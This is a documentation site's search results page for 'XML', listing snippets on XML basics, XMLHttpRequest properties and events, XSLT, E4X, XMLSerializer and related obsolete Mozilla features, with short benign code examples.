Search completed in 1.16 seconds.
1197 results for "XML":
Your results are loading. Please wait...
XML introduction - XML: Extensible Markup Language
xml (extensible markup language) is a markup language similar to html, but without predefined tags to use.
...most importantly, since the fundamental format of xml is standardized, if you share or transmit xml across systems or platforms, either locally or over the internet, the recipient can still parse the data due to the standardized xml syntax.
... there are many languages based on xml, including xhtml, mathml, svg, xul, xbl, rss, and rdf.
...And 19 more matches
XMLHttpRequest.responseXML - Web APIs
the xmlhttprequest.responsexml read-only property returns a document containing the html or xml retrieved by the request; or null if the request was unsuccessful, has not yet been sent, or if the data can't be parsed as xml or html.
... note: the name responsexml is an artifact of this property's history; it works for both html and xml.
... usually, the response is parsed as "text/xml".
...And 4 more matches
xml:base - XML: Extensible Markup Language
WebXMLxml:base
xml:base is like the html <base> element, but can specify the base uri per element as well as the entire document.
... the base uri of an element is: the base uri specified by an xml:base attribute on the element, if one exists, otherwise the base uri of the element's parent element within the document entity or external entity, if one exists, otherwise the base uri of the document entity or external entity containing the element.
... use cases if you have an inline svg you use as icons that needs to work in a document with a html baseelement , you can reset the uri on your icon sprite by setting the xml:base.
...And 3 more matches
XML Index - XML: Extensible Markup Language
WebXMLIndex
found 4 pages: # page tags and summary 1 xml: extensible markup language draft, landing, web, xml the extensible markup language is a strict serialisation of the document object model.
... 2 xml index index, web, xml found 4 pages: 3 xml introduction beginner, introduction, xml xml is a markup language similar to html.
...this means, unlike other markup languages, xml is not predefined so you must define your own tags.
... 4 xml:base html baseelement, needsspectable, svg, xml:base xml:base is like the html baseelement but can specify the base uri per element as well as the entire document.
Using XMLHttpRequest - Web APIs
in this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to exchange data between the web site and a server.
... examples of both common and more obscure use cases for xmlhttprequest are included.
... to send an http request, create an xmlhttprequest object, open a url, and send the request.
...And 47 more matches
XMLHttpRequest - Web APIs
xmlhttprequest (xhr) objects are used to interact with servers.
...xmlhttprequest is used heavily in ajax programming.
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#d4dde4" fill="none...
...And 39 more matches
XML in Mozilla - Archive of obsolete content
mozilla has a relatively good support for xml.
... several world wide web consortium (w3c) recommendations and drafts from the xml family of specifications are supported, as well as other related technologies.
... supported core xml w3c recommendations the core xml support includes parsing xml without validation (we use the expat parser), displaying xml with css, manipulating xml documents with scripts via dom, associating stylesheets with xml documents, and namespaces in xml.
...And 26 more matches
Processing XML with E4X - Archive of obsolete content
first introduced in javascript 1.6, e4x introduces a native xml object to the javascript language, and adds syntax for embedding literal xml documents in javascript code.
...</script> creating an xml object e4x offers two principal ways of creating an xml object.
... the first is to pass a string to the xml constructor: var languages = new xml('<languages type="dynamic"><lang>javascript</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your script, as an xml literal: var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data.
...And 21 more matches
XML Templates - Archive of obsolete content
« previousnext » mozilla also supports the use of xml datasources.
... an xml document will be loaded and xpath expressions may be used to take portions of the xml document and generate content from these.
... when an xml source is desired, specify a querytype attribute on the root node of the template to the value xml.
...And 18 more matches
XML Extras
the xml extras module contains several features that allow developers to treat xml as data i.e.
...the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users.
... the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds.
...And 18 more matches
HTML in XMLHttpRequest - Web APIs
the w3c xmlhttprequest specification adds html parsing support to xmlhttprequest, which originally supported only xml parsing.
... this feature allows web apps to obtain an html resource as a parsed dom using xmlhttprequest.
... to get an overview of how to use xmlhttprequest in general, see using xmlhttprequest.
...And 14 more matches
XML - Archive of obsolete content
what does xul have to do with xml?
... this article describes the relationship of xul to xml, its parent language.
... xul is made out of xml you don't need to know all about xml in order to use xul, but you may want to read through this article to get a sense of xul's pedigree as a specialized markup language.
...And 13 more matches
Parsing and serializing XML - Developer guides
at times, you may need to parse xml content and convert it into a dom tree, or, conversely, serialize an existing dom tree into xml.
... in this article, we'll look at the objects provided by the web platform to make the common tasks of serializing and parsing xml easy.
... xmlserializer serializes dom trees, converting them into strings containing xml.
...And 11 more matches
The global XML object - Archive of obsolete content
« previous the global xml object e4x-capable javascript engines put a new property on the global object.
... the xml object has several properties that allow you to customize parsing and serialization of e4x.
... xml elements will remember the settings of the xml object from the time of their creation.
...And 9 more matches
XML data - Archive of obsolete content
this page contains an example of how you can use css with xml data.
... you create a sample xml document, and a stylesheet that you can use to display it in your browser.
... previous section: svg next section: xbl binding information: xml data xml (extensible markup language) is a general-purpose language for any kind of structured data.
...And 8 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
internet explorer had an "xml data islands" feature that allows web authors include xml data inline in html documents using the <xml> tag.
...xml data islands are no longer supported from internet explorer 10 onwards.
... html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml.
...And 7 more matches
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget is the interface that describes the event handlers you can implement in an object that will handle events for an xmlhttprequest.
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
... properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
...And 7 more matches
Accessing XML children - Archive of obsolete content
« previousnext » accessing xml children warning: e4x is deprecated.
...this gives an xml document of <foo> <bar> <baz/> <quux/> </bar> </foo> note, however, that assigning a non-xml value to a child element that doesn't exist will create that element.
...operator can also be used to replace particular child nodes var elem1 = <foo> <bar/> </foo>; var elem2 = <red> <blue/> </red>; elem1.bar = elem2; replaces the <bar/> element with all of the content in elem2, giving: <foo> <red> <blue/> </red> <foo> xml lists many times, however, a single element will have two or more children of the same type.
...And 6 more matches
XML - MDN Web Docs Glossary: Definitions of Web-related terms
extensible markup language (xml) is a generic markup language specified by the w3c.
... the information technology (it) industry uses many languages based on xml as data-description languages.
... xml tags resemble html tags, but xml is much more flexible because it lets users define their own tags.
...And 5 more matches
nsIXMLHttpRequest
nsixmlhttprequest along with nsijsxmlhttprequest and nsixmlhttprequesteventtarget are mozilla's implementation details of the dom xmlhttprequest object.
... note: if you're a web developer or a mozilla add-on developer, please refer to the xmlhttprequest documentation instead.
... the interface definition: //github.com/realityripple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only.
...And 5 more matches
XMLHttpRequest.responseType - Web APIs
the xmlhttprequest property responsetype is an enumerated string value specifying the type of data contained in the response.
... syntax var type = xmlhttprequest.responsetype; xmlhttprequest.responsetype = type; value a string taken from the xmlhttprequestresponsetype enum which specifies what type of data the response contains.
... document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data.
...And 5 more matches
xml:base support in old browsers - Archive of obsolete content
these two functions aim to allow some support for xml:base.
... var scheme = /(\w(\w|\d|\+|\- |\ .)*)\:\/\//; function getxmlbaselink (xlink, thisitem) { var xmlbase = ''; if (!xlink.match(scheme)) { // only check for xml base if there is no protocol // tests for 'scheme' per http://www.ietf.org/rfc/rfc2396.txt' xmlbase = getxmlbase (thisitem); if (!xmlbase.match(/\/$/) && !xlink.match(/\/$/)) { // if no preceding slash on xlink or trailing slash on xml:base, add one in between xmlbase += '/'; } else if (xmlbase.match(/\/$/) && xlink.match(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xli...
...nk path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute url, it should be from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.protocol + '//' + loc.host + dirpath + link; } } return link; } function getxmlbase (thisitem) { // fix: need to keep going up the chain if still a relative url!!!!!
...And 4 more matches
XMLHttpRequest.overrideMimeType() - Web APIs
the xmlhttprequest method overridemimetype() specifies a mime type other than the one provided by the server to be used instead when interpreting the data being transferred in a request.
... this may be used, for example, to force a stream to be treated and parsed as "text/xml", even if the server does not report it as such.
... syntax xmlhttprequest.overridemimetype(mimetype) parameters mimetype a domstring specifying the mime type to use instead of the one specified by the server.
...And 4 more matches
XMLHttpRequest.send() - Web APIs
the xmlhttprequest method send() sends the request to the server.
... syntax xmlhttprequest.send(body) parameters body optional a body of data to be sent in the xhr request.
... an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object.
...And 4 more matches
XMLSerializer.serializeToString() - Web APIs
the xmlserializer method serializetostring() constructs a string representing the specified dom tree in xml form.
... syntax xmlstring = anxmlserializer.serializetostring(rootnode); parameters rootnode the node to use as the root of the dom tree or subtree for which to construct an xml representation.
... return value a domstring containing the xml representation of the specified dom tree.
...And 4 more matches
XMLSerializer - Web APIs
the xmlserializer interface provides the serializetostring() method to construct an xml string representing a dom tree.
... examples serializing xml into a string the first, basic, example just serializes an entire document into a string containing xml.
... var s = new xmlserializer(); var d = document; var str = s.serializetostring(d); savexml(str); this involves creating a new xmlserializer object, then passing the document to be serialized into serializetostring(), which returns the xml equivalent of the document.
...And 4 more matches
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes an overview the separation of content and presentation is a key design feature of xml.
... the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented.
... yet eventually much of the content stored in xml documents will need to be presented to human readers.
...And 4 more matches
nsIXmlRpcClient
extensions/xml-rpc/idl/nsixmlrpcclient.idlscriptable please add a summary to this article.
....5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in string serverurl); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly nsiurl the url of the xml-rpc server inprogress readonly boolean whether or not a call is in progress fault readonly nsixmlrpcfault the most recent xml-rpc fault from returned from this server.
... null if the last call didn't return an xml-rpc fault.
...And 3 more matches
XMLDocument - Web APIs
the xmldocument interface represents an xml document.
...ght="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmldocument" target="_top"><rect x="386" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits pro...
...perties from: document xmldocument.async used with xmldocument.load() to indicate an asynchronous request.
...And 3 more matches
XMLHttpRequest() - Web APIs
the xmlhttprequest() constructor creates a new xmlhttprequest.
... for details about how to use xmlhttprequest, see using xmlhttprequest.
... syntax const request = new xmlhttprequest(); parameters none.
...And 3 more matches
XMLHttpRequest.response - Web APIs
the xmlhttprequest response property returns the response's body content as an arraybuffer, blob, document, javascript object, or domstring, depending on the value of the request's responsetype property.
... syntax var body = xmlhttprequest.response; value an appropriate object based on the value of responsetype.
... document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data.
...And 3 more matches
xml:space - SVG: Scalable Vector Graphics
svg supports the built-in xml xml:space attribute to handle whitespace characters inside elements.
... child elements inside an element may also have an xml:space attribute that overrides the parentʼs one.
... note: instead of using the xml:space attribute, use the white-space css property.
...And 3 more matches
XML Assignments - Archive of obsolete content
« previousnext » sometimes, you will want to use a more complex substitution apart from just taking an attribute from the xml.
...this element allows the use of additional xpath expressions to get more data from the xml data.
... here is an example: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?namelength" expr="string-length(@name)"/> <assign var="?siblings" expr="count(../*) - 1"/> </query> <action> <hbox uri="?" align="center"> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </hbox> </action> </template> </vbox> two assign elements are placed as children of the query element.
...And 2 more matches
XMLHttpRequest.getAllResponseHeaders() - Web APIs
the xmlhttprequest method getallresponseheaders() returns all the response headers, separated by crlf, as a string, or returns null if no response has been received.
... syntax var headers = xmlhttprequest.getallresponseheaders(); parameters none.
... example this example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange.
...And 2 more matches
XMLHttpRequest.responseText - Web APIs
the read-only xmlhttprequest property responsetext returns the text received from a server following a request being sent.
... syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
... you know the entire content has been received when the value of readystate becomes xmlhttprequest.done (4), and status becomes 200 ("ok").
...And 2 more matches
XMLHttpRequest.timeout - Web APIs
the xmlhttprequest.timeout property is an unsigned long representing the number of milliseconds a request can take before automatically being terminated.
...timeout shouldn't be used for synchronous xmlhttprequests requests used in a document environment or it will throw an invalidaccesserror exception.
... example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.timeout = 2000; // time in milliseconds xhr.onload = function () { // request finished.
...And 2 more matches
XMLHttpRequestResponseType - Web APIs
the xmlhttprequestresponsetype type is an enumerated set of strings which are used to specify the type of data contained in the response of an xmlhttprequest.
... document the response is an html document or xml xmldocument, as appropriate based on the mime type of the received data.
... see html in xmlhttprequest to learn more about using xhr to fetch html content.
...And 2 more matches
xml:lang - SVG: Scalable Vector Graphics
the xml:lang attribute specifies the primary language used in contents and attributes containing text content of particular elements.
... it is a universal attribute allowed in all xml dialects to mark up the natural human language that an element contains.
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
...And 2 more matches
Microsummary XML grammar reference - Archive of obsolete content
a microsummary generator is an xml document that describes how to pull specific information from a web page to be presented in summary form as a bookmark whose title changes based on the content of the page it targets.
... warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml grammar used to build microsummary generators, describing each element and their attributes.
...example the microsummary generator created in the creating a microsummary tutorial: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> <template match="/"> <value-of select="id('download-count')"/> <text> fx downloads</text> </template> </transform> </template> <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> namespace the namespace uri for microsummary generator xml documents is: http://www.mozilla.org/microsummar...
...ies/0.1 all elements in a microsummary generator document should be in this namespace except the descendants of the <template> element, which should be in the xslt namespace: http://www.w3.org/1999/xsl/transform the <generator> element the <generator> element is the root tag for all microsummary generators, and should contain the remainder of the xml code describing the generator.
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
xmlhttprequest (xhr) is a javascript api to create ajax requests.
... learn more general knowledge xmlhttprequest on wikipedia synchronous vs.
... asynchronous communications technical information the xmlhttprequest object.
... the documentation on mdn about how to use xmlhttprequest.
XMLHttpRequest.abort() - Web APIs
the xmlhttprequest.abort() method aborts the request if it has already been sent.
... when a request is aborted, its readystate is changed to xmlhttprequest.unsent (0) and the request's status code is set to 0.
... syntax xmlhttprequest.abort() parameters none.
... var xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.getResponseHeader() - Web APIs
the xmlhttprequest method getresponseheader() returns the string containing the text of a particular header's value.
... syntax var myheader = xmlhttprequest.getresponseheader(headername); parameters headername a bytestring indicating the name of the header you want to return the text value of.
...if the content-type isn't the desired value, the xmlhttprequest is canceled by calling abort().
... var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification.
XMLHttpRequest.onreadystatechange - Web APIs
the xmlhttprequest.onreadystatechange property contains the event handler to be called when the readystatechange event is fired, that is every time the readystate property of the xmlhttprequest changes.
... syntax xmlhttprequest.onreadystatechange = callback; values callback is the function to be executed when the readystate changes.
... examples const xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.onreadystatechange = function () { // in local files, status is 0 upon success in mozilla firefox if(xhr.readystate === xmlhttprequest.done) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { // the request has been completed successfully console.log(xhr.responsetext); } else { // oh no!
... } } }; xhr.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.readyState - Web APIs
the xmlhttprequest.readystate property returns the state an xmlhttprequest client is in.
... unsent the xmlhttprequest client has been created, but the open() method hasn't been called yet.
... example var xhr = new xmlhttprequest(); console.log('unsent', xhr.readystate); // readystate will be 0 xhr.open('get', '/api', true); console.log('opened', xhr.readystate); // readystate will be 1 xhr.onprogress = function () { console.log('loading', xhr.readystate); // readystate will be 3 }; xhr.onload = function () { console.log('done', xhr.readystate); // readystate will be 4 }; xhr.send(null); specifica...
...tions specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.sendAsBinary() - Web APIs
the obsolete xmlhttprequest method sendasbinary() is a variant of the send() method that sends binary data.
... syntax xmlhttprequest.sendasbinary(binarystring); parameters binarystring a domstring which encodes the binary content to be sent.
... /*\ |*| |*| :: xmlhttprequest.prototype.sendasbinary() polyfill :: |*| |*| https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() |*| \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function (sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx] = sdata.charcodeat(nidx) & 0xff; ...
...however, on google chrome, when you try to send an arraybuffer, the following warning message will appear: arraybuffer is deprecated in xmlhttprequest.send().
XMLHttpRequest.upload - Web APIs
the xmlhttprequest upload property returns an xmlhttprequestupload object that can be observed to monitor an upload's progress.
... it is an opaque object, but because it's also an xmlhttprequesteventtarget, event listeners can be attached to track its process.
... timeout ontimeout the upload timed out because a reply did not arrive within the time interval specified by the xmlhttprequest.timeout.
... specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.withCredentials - Web APIs
the xmlhttprequest.withcredentials property is a boolean that indicates whether or not cross-site access-control requests should be made using credentials such as cookies, authorization headers or tls client certificates.
...xmlhttprequest from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request.
... note: xmlhttprequest responses from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request, regardless of access-control- header values.
... example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
the xmlhttprequesteventtarget.onabort is the function called when an xmlhttprequest transaction is aborted, such as when the xmlhttprequest.abort() function is called.
... syntax xmlhttprequest.onabort = callback; values callback is the function to be executed when the transaction is aborted.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onabort = function () { console.log('** the request was aborted'); }; xmlhttp.send(); //..
... xmlhttp.abort(); // this will invoke our onabort handler above specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onload - Web APIs
the xmlhttprequesteventtarget.onload is the function called when an xmlhttprequest transaction completes successfully.
... syntax xmlhttprequest.onload = callback; values callback is the function to be executed when the request completes successfully.
...the context) is the same xmlhttprequest this callback is related to.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
Console.dirxml() - Web APIs
WebAPIConsoledirxml
displays an interactive tree of the descendant elements of the specified xml/html element.
... syntax console.dirxml(object); parameters object a javascript object whose properties should be output.
... specifications specification status comment console apithe definition of 'console.dirxml()' in that specification.
Document.xmlEncoding - Web APIs
returns the encoding as determined by the xml declaration.
... if the xml declaration states: <?xml version="1.0" encoding="utf-16"?> ...the result should be "utf-16".
... however, firefox 3.0 includes information on endianness (e.g., utf-16be for big endian encoding), and while this extra information is removed as of firefox 3.1b3, firefox 3.1b3 is still consulting the file's encoding, rather than the xml declaration as the spec defines it ("an attribute specifying, as part of the xml declaration, the encoding of this document.").
Document.xmlVersion - Web APIs
returns the version number as specified in the xml declaration (e.g., <?xml version="1.0"?>) or "1.0" if the declaration is absent.
...its primary use in the past was to detect whether or not the document was being rendered as xml rather than html.
... to detect this, you can create an element with its name in lower case, then check to see if it gets converted into all upper case (in which case the document is in the non-xml html mode): if (document.createelement("foo").tagname == "foo") { /* document is not xml */ } specifications http://www.w3.org/tr/dom-level-3-cor...ument3-version this has been removed from dom core level 4wd ...
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
as of at least gecko 1.9, this no longer supports cross-site loading of documents (use xmlhttprequest or fetch() instead).
... examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory.
... (to test this functionality, create the files on your local disk or on a webserver rather than loading the load.html file from the lxr-generated page, which will serve the text.xml file as html.) specifications old w3c working draft of the dom level 3 load & save module ...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
here is a an example javascript function that prints the security details of an xmlhttprequest sent over ssl.
... the function is passed the channel property of an xmlhttprequest to extract the following information: was the connection secure?
... " + cert.organization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid until " + validity.notaftergmt + "\n"); } } catch(err) { alert(err); } } function test(url) { var req = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('get', url, true); req.addeventlistener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced the following output in my console: c...
Using XMLHttpRequest in IE6 - Web APIs
xmlhttprequest was first introduced by microsoft in internet explorer 5.0 as an activex control.
... however, in ie7 and other browsers xmlhttprequest is a native javascript object.
... in all modern browsers, you can create a new xmlhttprequest object using the following code: var request = new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request = new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request = new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
XMLHttpRequest: abort event - Web APIs
the abort event is fired when a request has been aborted, for example because the program called xmlhttprequest.abort().
... function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('http...
...s://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: load event - Web APIs
the load event is fired when an xmlhttprequest transaction completes successfully.
... function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('http...
...s://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.multipart - Web APIs
this boolean indicates if the response is expected to be a stream of possibly multiple xml documents.
... this enables support for server push; for each xml document that's written to this request, a new xml dom document is created and the onload handler is called between documents.
... note: when this is set, the onload handler and other event handlers are not reset after the first xmldocument is loaded, and the onload handler is called after each part of the response is received.
XMLHttpRequest.open() - Web APIs
the xmlhttprequest method open() initializes a newly-created request, or re-initializes an existing one.
... syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc.
... specifications specification status comment xmlhttprequestthe definition of 'open()' in that specification.
XMLHttpRequest.setRequestHeader() - Web APIs
the xmlhttprequest method setrequestheader() sets the value of an http request header.
... syntax xmlhttprequest.setrequestheader(header, value) parameters header the name of the header whose value is to be set.
... specifications specification status comment xmlhttprequestthe definition of 'setrequestheader()' in that specification.
XMLHttpRequest.status - Web APIs
the read-only xmlhttprequest.status property returns the numerical http status code of the xmlhttprequest's response.
...browsers also report a status of 0 in case of xmlhttprequest errors.
... example var xhr = new xmlhttprequest(); console.log('unsent: ', xhr.status); xhr.open('get', '/server'); console.log('opened: ', xhr.status); xhr.onprogress = function () { console.log('loading: ', xhr.status); }; xhr.onload = function () { console.log('done: ', xhr.status); }; xhr.send(); /** * outputs the following: * * unsent: 0 * opened: 0 * loading: 200 * done: 200 */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.statusText - Web APIs
the read-only xmlhttprequest.statustext property returns a domstring containing the response's status message as returned by the http server.
... unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found".
... example var xhr = new xmlhttprequest(); console.log('0 unsent', xhr.statustext); xhr.open('get', '/server', true); console.log('1 opened', xhr.statustext); xhr.onprogress = function () { console.log('3 loading', xhr.statustext); }; xhr.onload = function () { console.log('4 done', xhr.statustext); }; xhr.send(null); /** * outputs the following: * * 0 unsent * 1 opened * 3 loading ok * 4 done ok */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onerror - Web APIs
the xmlhttprequesteventtarget.onerror is the function called when an xmlhttprequest transaction fails due to an error.
... syntax xmlhttprequest.onerror = callback; values callback is the function to be executed when the request fails.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data.
... syntax xmlhttprequest.onloadstart = callback; values callback is the function to be called when the transaction begins to transfer data.
